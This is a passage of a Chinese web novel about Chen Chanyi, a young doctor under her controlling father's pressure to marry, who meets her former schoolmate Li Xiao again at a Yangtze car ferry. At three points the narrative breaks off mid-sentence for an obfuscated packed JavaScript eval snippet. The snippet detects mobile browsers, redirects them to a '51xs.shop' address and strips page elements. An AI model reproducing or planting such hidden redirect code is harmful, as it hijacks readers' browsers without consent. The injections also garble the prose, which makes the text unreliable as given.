陈蝉衣温声说:“没事。”想了想又道,“爸,你不要再麻烦秦医生了。” 她想起中午热饭撞见梁欣,秦继南这样的人,太招人,和他靠近,只会带来困扰。 她不想生活再有什么波折。 电话那头,中年男人嗓音平静:“他是我学生,帮我照顾下女儿不过人之常情。” 陈蝉衣垂眼:“我不想麻烦别人。” “你知道麻烦就不要让我操心。”陈如晦冷着声,“本来留在临海挺好,偏要去润州。你学博的时候不就是在海城医院实习的?你的导师,带教的医生,全都给你找的最好的,现在你倒是要回去了……润州么也不是不好,但是究竟是个小地方……” 陈蝉衣咬着唇,打断他:“那我去南京,去外公那里。那里总是省会城市,军医院和省人一都很好。” “你……”陈如晦被噎了一口。 什么小城市,不过都是他找的借口,他就是不明白,她怎么非要往江城跑。 小时候是在那上过学,但是那也都过去很久了。别说她,陈如晦自己都已经不太记得润州的样子。 陈如晦:“你就是犟,我不跟你讲,今天听说郑医生去你们那边了?” “嗯。” “出门的时候你送送他没有?” “送了。” 听到这,陈如晦语气终于好了些:“你就要和容微结婚了,他是容微三叔,你要懂点礼貌。” 她和郑容微的婚事,是去年就定好的。 陈蝉衣的爷爷,陈先寰,和郑容微家老爷子从前是战友。她大伯陈镌风如今又和郑容微的父亲郑玺共事。 陈镌风没有女儿,只有三个儿子,陈蝉衣是陈家唯一的女儿。 先前郑老爷子就有提过联姻的打算,可是那会儿陈蝉衣还在上学,什么都没稳定。 陈如晦也觉得她还是个女娃娃,想在身边多留两年。 现在她学上完了。 陈如晦不想她去润州的,其实留不留在临海也无所谓,反正之后要嫁到京城去。 郑家三叔在京城医学界颇有名望,她要实在觉得当阔太太无趣,陈如晦想着,把她弄到京城,也比留在润州强。否则重新规培也是件麻烦事,磨人。 陈蝉衣用力拧了拧鼻梁,眼里透着疲惫。她身体瘫软窝进沙发:“别说这个了吧。” “那你自己心里要清楚,你现在好好备婚才是正经事。”陈如晦说,“我的话你放在心上。” 陈蝉衣皱了皱眉。 莫名从心口处涌出一丝烦躁。 “知道。”不想再提,陈蝉衣说,“我先挂了。” 那头陈如晦不知道念叨了一句什么。 陈蝉衣挂了电话。 综艺正播至脱口秀,段子很搞笑,全场气氛炸得厉害。 陈蝉衣抱着毯子窝在沙发角落,随意看了两眼,没什么精神地塌下肩膀。 那晚她早早睡了。 卷紧被子看着黑漆漆的天花板时,不知为何,她恍然想起了李潇。 想他冷峻的侧脸,想白日细雨中,那双冰冷淡漠的深黑眼瞳。多少年过去,仍然和学生时代如出一辙。 想了半晌,她强迫自己紧紧闭上眼睛。 那晚她没来由地做了个梦,梦见了一段江边栈道,四周雾海蒙蒙,润州城暴雨连天。 梦里暴雨中,那双熟悉的黑漆漆的眸子,静静注视着她。 她凌晨四点就醒了过来,之后再没有睡意。 * 她第二天一早去医院,相较昨天,雨小了很多。 进大厅时,那家人还在,赖在急诊科前不肯走,说是要医院给个说法。 刘桥换好了衣服,正和那两人好声好气说话。他昨天被张副主任教训了一顿,现在不敢再起冲突,刘桥自认语气已经非常和缓,可那对夫妻根本不给任何脸面。 最后安保进来了,陈蝉衣看了几眼就上了二楼。 瞿雨音很早就到了,趴在栏杆边看,看见安保进来,她的视线才不情不愿离开一楼:“现在可真是什么人都有。” 陈蝉衣笑了一声,没说话。她换好衣服,把名牌夹在胸前口袋。 瞿雨音问她:“对了,你伤怎么样了?” 陈蝉衣:“没事了。就擦破了,不是大事。” 瞿雨音这才放下心:“我还担心你伤到腰,第二天不能走。”她说,“昨天的大查房改到今天早上了,马上主任就得过来。” 最近甲流严重,来带小孩看病的尤其多,医院新添很多病例,住院部空床已经满了。 上午八点,查房开始。 主治医生会和病人探讨病情,进一步确定后续治疗方案。近期病毒性肺炎数量急剧增长,心内呼吸的张主任带查房的频率也跟着增加了不少。 大查房的站位通常是固定的,中间是主任医师、副主任医师,再旁边是住院医,然后才是规培医和实习医。 陈蝉衣原本和瞿雨音一直站在规培医的最后两个,她不是很想抢位置,总之听得清就行。 一连几床下来都很顺利。 只是到了第三间,里面一个病人昨夜突然高烧,紧接着咳痰就呈粉红泡沫状。是急性肺水肿,这床患者的心功能也有衰竭迹象。 主任带教很细致,问的问题也细,规培和实习生都在做笔记。 陈蝉衣也低头写,出病房时她仍然在末尾。 “听懂了吗?” 陈蝉衣一愣,抬头,看见秦继南落后几步,到了她身边。 “嗯。” 秦继南笑了笑:“听不懂可以来问我。” 他是个周正模样,平时工作起来有些清冷和疏离,很少用这种熟稔的语气。 陈蝉衣拿文件夹的手指不禁紧了紧。 她后面就是实习医,几个人都在往他们那边看。 要知道秦医生可是医院的顶级钻石王老五,入院几年,诊治病例繁杂,科研成果斐然,履历放在省内哪所大三甲都完全够看。 听说原先可以留院省人一,好像是家里的原因才回到润州。 秦继南没有女朋友,入院多年,也无任何桃色绯闻。感情史空白,底子干净。不知道是多少实习生的爱慕对象。 瞿雨音之前还八卦过:“好像每一届实习生都有跟秦医生表白的,但是人家就不上心。” 陈蝉衣也才毕业,规培第一年,看样子是没有男朋友的。假若今后要留院,和秦医生结婚真是不错,郎才女貌,两个人堪称登对。 陈蝉衣听着后面的窃窃私语,有点无奈。 她准备抽个时间和秦继南说一说,陈如晦净给她找些麻烦事。 查房直到十一点多才结束。 全程站了近四个小时,所有人都满身疲惫。 医生不仅是细致活脑力活,更是体力活,像这样的大查房不过是家常便饭,倘若临床最后进神经外科等大科室,一台手术动辄五六个小时,有时甚至持续到半夜。 如果要全程站下来,对身体素质绝对是个极大的考验。 解散的时候张主任还说:“你们这帮孩子,没事得去练练体能。” “张主任,练归练,那也得吃饱才能练啊。” 给张主任逗笑了:“知道你饿了,吃饭去吧都。” 所有人都散了。 路过门诊大楼时,听见孩子哭声,陈蝉衣习惯性往里望了一眼。 她也不知道为什么要望,只是没再看到那个高大熟悉的身影。 之后将近一周,李潇没有再出现。 三月中旬,陈蝉衣轮夜班的次数逐渐增多,尽管陈如晦并不愿意她这么辛苦,陈蝉衣还是坚持跟着医院的安排走。 有天晚上轮值,或许是夜班神拜得好,那天格外平静。除了一个急性酒精中毒昏迷需要洗胃,几乎没有疑难杂症。 那天值夜秦继南也在,陈蝉衣正和瞿雨音说话,秦继南走过来敲敲她桌子:“蝉衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750713|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你跟我出来一下。” 两个人走到开阔处,秦继南说他这次去临海听座谈会,正好遇见陈如晦。陈如晦托他带点东西给女儿。 陈蝉衣其实挺不好意思的。 春寒料峭,她里面就穿了件薄毛衣,外面套着白大褂,削肩细腰,有一种纤弱的美。 秦继南站她身前,看她衣领一眼:“老师还找我问你的情况,润州春天还是冷,最近流感严重,不要生病了。” 陈蝉衣点头:“麻烦秦老师了。” 秦继南略微颔首,两个人正准备走。 陈蝉衣起初没说话。走到一半,想着秦继南的叮嘱,她不知怎么的就想起李潇和那个小孩:“秦老师。” “嗯?” “现在这个甲流……能完全治得好吗?”她咬唇,“会不会留下什么后遗症。” 病毒性的呼吸道传染病,一旦变成肺炎,谁都不好说。治是肯定能治好的,只是没法保证不对身体造成损伤。 那个孩子才一点点大,三四岁。 陈蝉衣想起他乖乖喝水,小手捏橘子的样子。 秦继南沉吟道:“要看具体情况吧,很多病症上的突变,医学没办法给出准确解答。” 陈蝉衣低下头,盯着自己脚尖:“嗯。” 秦继南沉默片刻:“怎么了,你有朋友感染了吗?” 陈蝉衣摇摇头,小声道:“我随便问问的。” 秦继南笑笑,不再说什么了。 两个人回到科室时,是凌晨三点多,科室里热热闹闹的。 刘桥挥着手:“还有谁要去?” 没搞清状况,陈蝉衣问了句:“什么事这么高兴呢?” 瞿雨音赶紧过来挽着她胳膊:“就之前医闹的那个病人啊,那小孩抢救过来了。刘桥为了庆祝摆脱烂摊子逃过一劫,说今天下夜班后上扬州去吃早饭,吃完再回去休息……你去不去?” 陈蝉衣本来想说不去,值夜班太累了,她想回去补个觉。 但是看瞿雨音亮亮的眼睛,她心一软,无奈笑道:“行,那我也去吧。” 瞿雨音欢呼了一声:“你要是不去,我一个人就很无聊的!” 刘桥去提车,说要开车走镇扬汽渡,有个男同事坐了副驾,他原本就是扬州人,要帮刘桥看路。 瞿雨音和小颖挤到了后边,陈蝉衣也拉开左侧车门,坐了上去。 镇扬汽渡很古老了,润州和扬州中间,隔了一条长江,从前来往车辆,都需要上渡船往返两地。 不过后来有了跨江大桥,比轮渡更快捷也更方便,镇扬汽渡便不复往日繁忙。 刘桥导航,一路顺风顺水,连红灯都没看到过几个。 几个人叽叽喳喳聊天,车开到闸门口,正好说到医生这个行业太苦,连女朋友都不好找。 “我之前高中报专业,我妈还说医生这个职业稳定啊,吃香,将来相亲都是个香饽饽。” 刘桥插嘴:“香啥。要真是香饽饽,哥们至于单身到现在?人姑娘一听,是个医生,就跟听到未来一定会做寡妇似的。全跑了。” 整个车爆笑。 副驾驶的小余扁着嘴:“哥,别说了,你说得我都想哭了。” 刘桥正想安慰他,没人要就没人要。突然哼了声,坐直身体:“前面是怎么了?出事故了?” 瞿雨音坐后排中间,闻言凑上去:“真假的?我看看呢。” 陈蝉衣看向窗外。 他们停在闸门口,前方第二辆车不知道发生了什么,停了下来。 刘桥摇下车窗,隔空跟前面一辆车喊:“大哥,出啥事了?” “不知道啊。”前面的大哥也伸出脑袋,“好像是车子指挥上汽渡的时候出了点意外,刮蹭还是什么的,那车司机和指挥员吵起来了。” “哇靠。”刘桥喊,“大早上的,真有劲哈。” 他们在车子里等了一会儿。 陈蝉衣看过去。 那个指挥员黑瘦,看着也就才毕业没多久。 司机却比他壮多了,两个人原本还在掰着手指头交流,讲着讲着就吵了起来。 黑瘦梗着脖子,不知道说了什么,突然急了脸,那司机暴脾气地推了他一把。 直接把他推到了地上。 后面眼看着真要打起来,突然一个人从侧面走出闯进视野。 他原本隐在大卡车后。 黑色冲锋衣,逆着晨光,没人看清他的模样。 然而熟悉高大的身影,在出现的那一瞬间,陈蝉衣便骤然忘了呼吸。 好像江水倒灌,从眼睛顺着血液,重重卷进了她的心脏。 5. 潇潇 他还是记忆中一身黑冷峻的样子,清晨的雾气很冷,天仍旧阴沉。 陈蝉衣直起身,她看着李潇背着光影,缓步走了过去。江雾中,看不清他表情。 那个小指挥员像是见到救星,大声喊了句:“潇哥!” 李潇点点头,示意他先退下。 他说话声音向来不大,隔着一段距离,江风吹拂,陈蝉衣什么都听不清。只能看见他冷沉的眉眼,黑眸漠然的模样。 可是很奇怪的,她却好像能想象此刻他的语气,他的声音。想他说话时有些凉薄,又有些疏离的样子。 李潇平静站在那里,期间他做了几个手势,没有任何额外动作。 那个司机显然不答应,梗着脖子和他对峙,直接踹翻了一个路障。 偶然蹦出几个侮辱字眼,很刺耳,连陈蝉衣都听得一清二楚。 可男人甚至连动怒都做不到。他就那样支着腿沉默站着,司机在吼叫,他自始至终面无表情。 陈蝉衣看见他走去卡车侧面,不久后又走了出来。 或许是她的错觉。 阴蒙蒙的雨下,李潇左腿紧紧绷着,膝盖像是僵硬了,没有办法弯曲。 尽管他掩饰得很好,那条裤子也很宽松,他走得缓慢,几乎和寻常一般无二。 可她还是一眼就看了出来。 他将不知道什么东西丢在了司机面前。 一分钟后,那个司机阴着脸,手指点了点他,转身上了车。 车道喧哗,李潇慢慢蹲下身,将东西捡起。障碍物也被他扶起来,男人低眸,单手拎着损坏的三角锥沉默往回走。 裤管被风吹起,紧紧贴在僵直的腿上。 车里,刘桥感叹了句:“这是牛的,几句话居然就把人打发了,要是我们医闹也这么轻松就好了。” 瞿雨音推他:“胡说,我看在码头也不容易好不好?没比我们医闹轻松。” 刘桥捂着脑袋:“我靠,说两句你还不乐意了,你哪边的?你不会是看人家长得帅走不动道吧?” 瞿雨音翻个白眼:“你才走不动道呢。” 她脸莫名一热。 该说不说,那男人确实挺帅的,一身黑,气质也不像现在流行的奶油小生。身形挺拔清瘦,然而格外冷硬。 他像是对一切都漠不关心,不管对面怎样暴跳如雷,他始终神情淡淡,黑眸寂然。 可能是先天身高优势,一个眼神扫去,瞿雨音觉得自己被震到了。 瞿雨音小声拉着陈蝉衣说:“还挺帅。” 小颖也红了脸。 车厢里,只有陈蝉衣在沉默。她没有脸红心跳,也没有刘桥似的感叹。她只是心里闷闷的,这大概是他工作的地方,她没有想到竟然会在这里遇上。 这些年,他一直都在这里吗? 陈蝉衣莫名心脏一阵收缩。 她正想着,车门被敲了两下。 刘桥摇下窗户,江风瞬间就倒灌进来,陈蝉衣回过神,被风吹迷了眼,下意识闭眼。 紧接着。 那张脑海中的脸,竟然出现在眼前。男人声线低沉:“抱歉,前方事故,麻烦移去右侧车道。” 他声音不高,然而字字清晰分明。 码头汽渡噪声是很大的,刘桥起先并没有听清。 李潇手撑着车顶,弯腰探身,将刚才的话重新复述一遍。 裹着雨雾的风,把他身上的味道送进来,是干净的皂角,带着一点阴冷的潮湿木头气息。 他视线没有乱瞥,大概根本没有看见她,交代完后便转身离去,继续去往下辆车。 刘桥将车开上甲板,他们之间隔着一道车窗。 他的侧脸沾上水汽,在她面前一闪而过。 …… 事故的地点暂时拉起警戒线,李潇走了十几米,通知了五辆车后,后续的车辆就会跟着前面自发移动。 他将地上的三角锥堆到一边,掀起眼皮,沉默地看了一眼。 朱晓宇顺着李潇的目光望过去,只能看见轮渡上轿车的尾部:“潇哥,你在看什么?” 李潇压住手背颤抖,收回视线:“没什么。” 朱晓宇也没多想。他还惊魂未定呢,刚才那司机也太凶了,把他老子娘都搬出来骂。 也就是李潇真的够狠够能忍,换做是他,早就一拳上去了。 朱晓宇尴尬地挠挠头:“多谢你啊,潇哥,要不是你,我肯定跟他打起来了。” 他才毕业,啥工作经验也没有,刚上岗不久手忙脚乱。 要不是今天李潇在,照他的脾气,肯定就跟人揍了自认倒霉。 李潇淡淡地垂下眼眸:“没事。” 江上风很大,清晨时分,薄雾还未消散,太阳出来了一点,在江面铺满一半殷红。他随意扯了扯衣领,继续拖着腿,慢腾腾往前挪。 路前有几个木箱还没来得及搬走,李潇闷不吭声弯腰抬起。 他的膝盖还是僵着,木箱很重,里面是水果。 李潇扛在肩上,搬下轮渡。 男人的手掌修长,骨节分明。因为用力,青筋突起在苍白的手背上,分外明显。 李潇说:“让后面的车上来吧,你看着点。” 朱晓宇说行,立刻就跑出去指挥。等他再回来时,轮渡上还剩最后一个木箱。 而李潇仍是那个样子,他走过去时手指微微蜷缩,搭在裤缝边上,止不住地颤抖。 朱晓宇看一眼他的腿,瞳孔一缩:“潇哥,我来吧。” “不用。”他没表情。 到了最后李潇把木箱全部搬完,朱晓宇像个猴子似的跟在后面,一点忙没帮上。 朱晓宇心里头怪不是滋味的,李潇的事他多少知道一点,就这样他居然还躲人家后面。 朱晓宇咽咽口水,说:“潇哥,我哥说晚上请你吃饭。” 还是那句:“不用。” 朱晓宇不死心,继续绕到李潇跟前:“我才来不久,工作也是你帮忙找的,我们家都特别感谢你照顾我。潇哥,你就去吧。” “谈不上照顾。”李潇把手插进兜里,摸出根烟,“本来就认识的。” 朱晓宇眉毛耷拉下去。 江上风吹了会儿,李潇点了烟放到嘴边,烟雾袅袅飘散,模糊了他眉眼。 顿了顿。 李潇指尖夹着的烟放下,淡淡看着他:“不过一起吃饭也行,你跟你哥说一声。” 朱晓宇眼睛亮起来:“那我跟他说!” 他唇边无声牵出个笑,视线转移,那辆黑色大众已经开到轮渡中部。 左侧的玻璃窗开着。 风吹乱女生头发,露出一张柔白的侧脸。 * 陈蝉衣那顿饭吃得很沉默,说不上高不高兴,只是始终低着头。 他们吃饭的茶社在扬州很有名,几个人要了翡翠烧卖,蟹黄汤包,虾籽馄饨和白汤鱼面。 服务员来收菜单时,刘桥还加了句:“再来个河豚汤面。” 眼下快要临近吃河豚的时节,这家店现杀河豚,处理了四十多分钟才端上桌。肉质鲜甜软嫩,汤面也做得极鲜。 河豚是没什么刺的。陈蝉默默把鱼汤面里的小刺给挑了。 瞿雨音凑过来:“我怎么感觉你不是很高兴?” 陈蝉衣顿了顿筷子:“没有。” 瞿雨音奇怪地看着她:“真的吗?可是我刚刚就看你在这边挑刺,汤包和烧卖都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750714|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没怎么吃,问你要不要醋,你也没吭声……你怎么了?” 桌上另外几个在讲笑话,早晨生意很好,大厅嘈杂,几乎盖过了瞿雨音的声音。 陈蝉衣慢吞吞地挑完鱼刺,小声说:“可能是有点困了吧。” 确实,值完夜班过江吃早茶,也就男人们精力还充沛。 瞿雨音啊了声:“那要不要跟他们说,吃完就回去?” 陈蝉衣:“不用。”她原本就是随便找个借口,也不想扫他们兴,抿抿唇,“我一般吃完早饭就精神点。” “哦。”瞿雨音将信将疑,“那好吧。” 几个人很快吃完早茶,刘桥原本还想在扬州逛逛。小余真服了:“我靠兄弟,你可真有闲情逸致,你要猝死啊?” 刘桥撇撇嘴:“兄弟,你身体也太虚了,这你都会猝死吗?” 小余不想废话:“我要回去补觉。” 瞿雨音也抱着胳膊站路边:“我也要补觉。我还要活着,不能有命赚没命花。” 说得人一哆嗦,他们医生这一行确实挺高危的。 刘桥无奈地认怂:“行行回去,我买点酸奶带回去,你们要不要?” “啥酸奶呀?” 刘桥掏手机看导航:“就扬大酸奶,蛮好喝的,这边买便宜……诶上面说就瘦西湖旁边,开车几分钟,去不去?” “你不会是想把我们骗过去逛瘦西湖吧?”瞿雨音狐疑地啧了声,转头看陈蝉衣,“小蝉,你去不去?” 突然被点到名,陈蝉衣抬眸。 其实她对吃食无所谓,没什么要求,也没有特别大的兴趣。 然而听刘桥提起扬大酸奶。 陈蝉衣指尖蜷了蜷,眼睫轻轻一颤:“我也想喝,我一起去。” 瞿雨音还是第一次看她这么积极,她之前在这方面都没什么主见的。瞿雨音瞪大眼睛:“这酸奶这么好喝?” “好喝啊。”刘桥上车,“不然干嘛特地过江买?” 跟着导航,没过多久就开到了瘦西湖的检票口。古朴林园式的大门前,果然有摊位零售。 摊位前的大姐给他们介绍,酸奶口味很多种,瞿雨音买了樱花和蓝莓,其他人也是,基本各个味道都买了点。 陈蝉衣手里提着的袋子,望过去都是绿。 她只买了茉莉。 小颖也喜欢粉粉的樱花,看着陈蝉衣手里的袋子不解:“咦,你怎么只买这个味道啊?” 陈蝉衣笑了笑:“我只喜欢这个味道。” 小余老家是扬州的,就说:“你不知道吧,这味道是扬大酸奶最经典的,里面还能喝到茉莉花瓣呢。” 瞿雨音:“真的假的?那我再多买两盒。” “我也要!” 小余就跟她俩说还有哪个比较好喝,刘桥已经选好了等在一边。 陈蝉衣稍稍站在顶棚之外,三月中旬,扬州湿冷,这几天下雨,风都带着凉意。 她拆了一盒,戳进吸管。 味道很熟悉。 记忆里,茉莉清香总带着甘甜。 回去时,刘桥说:“要不走润扬大桥?还快点。” 但是瞿雨音还想走汽渡:“我吃撑了,想吹江风。” 刘桥从后视镜里白她:“你是想看之前那个帅哥吧瞿医生。” 瞿雨音笑嘻嘻地:“那都帅哥了谁不想看?”她胳膊拐拐小颖,“哦?” 又拐了拐陈蝉衣:“你说呢小蝉?” 陈蝉衣回过神来,唇边勉强扯出抹笑意,瞿雨音没注意。 刘桥说不过她,就又原路返回。 车开上船很快停岸。 可或许是交班,她抬眼望去,码头上没再看见那个熟悉身影。 6. 潇潇 那晚她再次梦到了李潇。 然而不同的是,这回梦中的场景渐渐清晰,雾气散去,她看出是在江边。 李潇穿着秋季校服,长腿随意支着,眸中清冷。 她走过去:“你站在这里干嘛呀?” 他黑眸微垂。她面前男生很高,面容漠然冷硬,就像一件打造完美的雕塑。他就那么默默看了她几秒。 忽然俯身,扯了扯唇角:“陈家月,要不要谈恋爱?” 陈蝉衣醒过来,一身冷汗。 家里没开灯,黑黢黢的,她觉得这个梦没头没尾,坐着缓了会儿,掀开被子起床喝水。 水喝进去才发现大事不妙,不知道是不是因为早上吹了风着凉,嗓子眼剧痛! 陈蝉衣抬手摸了摸额头,也是烫的,身上没劲。 她赶忙翻出温度计量了个体温,三十八点二,是发烧了。 陈蝉衣:“……” 她是没想到出去吃个早饭,能把自己吃发烧,那个长江吹得什么风,生化武器吗?而且这半年都在急诊,手上事情多,都不知道能不能请假。 陈蝉衣找到手机通讯录,拨去个电话:“您好,是检验科吗?” 那边说是:“怎么了?” “我下午过来,帮我测个咽拭子。” 她说话气虚,嗓子也有点哑。最近甲流那么严重,检验科值班室的大概也听出来端倪,说:“血常规要不也测一下?” 陈蝉衣点头:“行。” “那我下午等着你,报告很快就出。” “嗯,麻烦你了。” 挂断电话,她随意找了点东西吃,简单洗漱裹好衣服就去了医院。 检验科那边动作很快,大概坐了半小时,检查结果就出来了,并不是甲流,幸好只是普通感冒。 陈蝉衣悬着的心放下不少,可能是心理作用,她整个人不再绷着,觉得身上也松泛了许多。 检验科值班的是个刚毕业的小男生,跟她简单唠了两句闲天。话说一半,朝她身后:“秦医生。” 陈蝉衣回头,看见秦继南走过来,最近阴冷,他里面穿了件黑色的高领薄毛衣,紧接着是同色系法兰绒衬衫,最后才是白大褂。 秦继南是来拿病人报告的,看见她顿住脚步:“你在这里做什么?” 陈蝉衣还没回答,检验科那小男生说:“哦,陈医生发烧了。” “发烧了?”果然,秦继南闻言挑起一侧长眉,“什么时候的事?” 陈蝉衣不得不道:“昨天下午吧。” “那怎么现在才来?” “我昨天有点没力气。下午觉得累,没注意,还以为是缺觉,晚上睡了一觉醒过来发现喉咙肿了。” 秦继南转过身:“就是发烧喉咙痛?还有别的症状吗?” 检验室把他要的材料送出来,秦继南拿在手里,扫了一眼就放下了,目光紧紧追着她。 他其实眼神并不令人感到害怕,只是职业使然。 沉稳中带着一些严肃。 陈蝉衣有点没法面对他压迫性这么强的目光,移开眼:“没有,我没事。我一开始也以为是流感,发现没那么严重,就是普通受凉,被风吹着了。” “报告给我看看。” 陈蝉衣把报告递给他。 秦继南接过后随意翻了翻。 如她所说,一切正常,咽拭子没有病毒反应,血常规也正常,不是甲流,只是受寒了。 他看了很久,看到最后才点点头,把报告还给她:“去药房开点药,你在家里好好养病。” 陈蝉衣原本想点头,听到后半句,她抬起眼:“普通感冒不能休假吧?” 秦继南没答,和检验科的打招呼:“走了。” 陈蝉衣跟上他,他才说:“你带病工作,老师会担心。” 果然又是陈如晦。 陈蝉衣心里叹口气,那股几天前压下去的烦躁感觉,就好像顺着这次病症,重新复苏了一样。 她其实不想陈如晦管自己,秦继南在她前面半步,身影高大脚步稳健。她默默跟了片刻,直到跟进二楼。 秦继南要继续回去坐诊,转头和她说:“你回去休息,请假我会去帮你说的。” 他仅仅只是以为她不好意思开口。 陈蝉衣手指蜷了蜷,最后只吐出几个字:“麻烦秦老师了。” 陈蝉衣回到家,接近晚上七点,她不知道该吃点什么,就打开冰箱随意看了两眼。 冰箱里除了一些水果,就只有她之前买的扬大酸奶。茉莉花味,绿色摆满了一整层。 她看着它们沉默了几秒。 最后,还是拿出一瓶拆吸管喝了。 晚上她在写规培报告,泡了姜茶,边暖手边喝。她生了病精神不是很好,眼前字迹也有些模糊。 陈如晦打电话过来:“你在家干嘛呢?” 陈蝉衣垂下眼,淡道:“写规培报告。” 她声音嘟嘟囔囔的,很含糊。 陈如晦第一句话就听出来她鼻塞,声音都高了八度:“你生病了?” 陈蝉衣停下笔:“没有。” 陈如晦冷笑:“没有?那要不要我去调你的检查记录?” 他是真的会干出来这件事,从前陈蝉衣上学时补习,陈如晦都会准时准点接送她。即便后来他有事去了临海,也会逐一排查她的签到记录。 陈如晦并非多么严苛的家长,她优不优秀无所谓。然而对自己的女儿,他有很强的控制欲。 在他看来,他眼里为陈蝉衣好的才叫好,她就必须得遵守,否则他就会情绪失控。 自从母亲舒柔过世,陈如晦这种变态的控制欲,这些年愈发严重了。 陈蝉衣用了拧了拧眉:“别,我就是有点发烧,小感冒,很快就会好的。” “那你请假,在家休息。” “我最近很忙,这种小病不需要请假休息的。” “你不要和我说这个,去请假。” 陈蝉衣有些疲累,声音也哑了:“我都说了,只是感冒,不用休息,而且拿这个理由去开假,我带教也不会批的。” 陈如晦丝毫不信:“他敢不批?你不要跟我讲这些,没有用,你们院长我也认识,就请假这点事,要不我亲自和他去说。” “别。” 陈蝉衣突然觉得累极了,她不知道陈如晦说这些是想做什么,威慑吗,还是别的什么原因。 她不懂。 她只知道,陈如晦这样干涉她,仿若是捆住了她的手脚。 就像笼子里的绿咬鹊,原本陈如晦将她关在笼子里,后来她哭她闹,陈如晦舍不得她难受,将她放了出来。 但他更舍不得这只绿咬鹊飞向未知的,更远的地方。 于是在放出来的时候,他将小鹊翅膀和爪子,绑在了一起。 她像是自由的,却又并不真的是。 陈蝉衣深深呼出口气:“我去请假。” 她妥协了。 是个除她之外,大家都很满意的结果。 陈如晦语气和缓下来:“嗯,请假之后就在家休息,不备婚不备孕了?你这身体差的,之后要小孩也困难。” 陈蝉衣闭了闭眼,挂断电话。 隔了一天她去医院,还是进了急诊室。 她没有听陈如晦的去请假,陈如晦平时做研究也很忙,总不至于就那样盯着她。 上午来了个肝硬化的病人,满肚子腹水,倒在医院门口昏过去的,联系不上家里人。 陈蝉衣忙活了一上午,等到病人醒过来,张主任问话,她跟在旁边记录。 儿科的林医生推门走进来,先是和张主任说了句抱歉,然后朝她招手:“小陈,出来一下。” 陈蝉衣不明所以,收了笔出去:“怎么了,林医生?” 林医生说:“你去下院长办公室,他找你。” 陈蝉衣指关节一顿,心里陡然升起不好的预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750715|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。 果然,她到了办公室,院长已经在那里等她,看到她来眯出个笑:“小陈,生病了?” 陈蝉衣站在门口,一句话都没说。 刘院看着她,心里有点感慨,其实陈蝉衣小时候他还见过,那时候他和她父亲陈如晦共事,一晃多少年了,她都长这么大了。 “你的事你爸都和我说了,这个最近啊,甲流本来就比较严重,你这都感染了……” “没有感染。”陈蝉衣打断他,“我只是普通感冒。” 刘院啊一声改口:“普通感冒,普通感冒也要注意休息的呀,也不是不让你干活,你想多学点东西我们也都很支持,但是呢也不能不顾及自己身体……你看,要不你回去跟谁调个班休息一天呢?你爸爸还要着急。” * 陈蝉衣那天晚上回去,和瞿雨音说了下情况,她不想无缘无故请假,问她能不能调班。 瞿雨音很爽快答应了,陈蝉衣心里有点过意不去。 可能真是病得重,她昏昏沉沉睡了一晚上。 早上门被敲响。 陈蝉衣往门口应了声,套上外套去开门。 楼道里是十几个黑衣男人,抬着几台箱子,看见她,领头弯腰问好:“小姐。” 陈蝉衣皱了皱眉:“你们是?” “我们是郑小先生身边的人,这是他给您带的礼物。” 陈蝉衣眼睫一颤:“郑容微?” 领头颔首:“是的。郑先生过段时间回国,东西先给您送来。” 陈蝉衣呼吸凝滞,她不关心郑容微什么时候回国,她只想知道:“你们怎么会有我这里的地址?” 黑衣男人愣了愣,尽管有些奇怪她的反应,不过还是照实说:“是陈先生告诉我们的。” 陈蝉衣心一下子沉到谷底。 她侧过身,麻木看着他们将一抬抬上好的楠木箱搬进来,每一件都拆来给她查验,珠宝最多,也有各样珍奇有趣的摆件,数不胜数。 陈蝉衣站在那里,面无表情地点头,心里没有一点波澜。 等到所有人离开,她掏出手机,立刻拨通了陈如晦的电话:“你为什么要把我的住址告诉别人?” 那头陈如晦觉得莫名其妙:“什么别人,你们不是快结婚了吗?” “所以我就得允许他的人随意出入我家门?” “这怎么了,他送东西给未婚妻,不正常吗?” 她气急:“不正常,就是不正常!这是我家,我的房子,我没有要把住址告诉别人,你为什么要替我做决定?” 陈如晦也跟着吼起来:“我替你做什么决定了?他是你未来丈夫,不过给你送点东西,又怎么刺激你了?” “他影响我了,你也影响我了。”陈蝉衣手腕发抖,“可以让我好好工作吗?” 陈如晦都听笑了:“工作,工作重要吗?你不工作就在家当个阔太太又怎么样,是陈家养不起你,还是郑家养不起你?” “可是倘若我不想让他养呢?” 陈如晦:“那由不得你!”他疾言厉色道,“既然订婚,你就绝对没有反悔的权利。这么多年,我真是惯着你,要么你慢慢和他培养感情,我不干涉,要么,你现在就滚回临海备婚,你自己选!” 